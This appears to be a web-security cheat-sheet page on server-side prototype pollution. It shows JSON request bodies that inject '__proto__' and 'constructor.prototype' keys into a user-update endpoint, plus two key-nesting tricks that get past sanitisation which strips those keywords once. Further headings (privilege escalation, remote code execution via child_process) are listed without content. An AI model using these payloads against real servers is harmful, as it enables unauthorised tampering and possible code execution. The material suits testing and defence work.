Prototype Pollution in Server-Side
Investigation
POST /user/update HTTP/1.1
Host: example.com
...
{
"name": "john",
"email": "john@example.com",
"__proto__": {
"foo": "bar"
}
}
// Other option
{
"name": "john",
"email": "john@example.com",
"constructor": {
"prototype": {
"foo": "bar"
}
}
}
// Bypass sanitization 1
{
"name": "john",
"email": "john@example.com",
"__pro__proto__to__": {
"foo": "bar"
}
}
// Bypass sanitization 2
{
"name": "john",
"email": "john@example.com",
"constconstructorructor": {
"prototype": {
"foo": "bar"
}
}
}Privilege Escalation
JSON Spaces Overriding
Status Code Overriding
Remote Code Execution (RCE)
RCE via child_process.spawn(), child_process.fork()
Overwrite Environment Variable
References
Last updated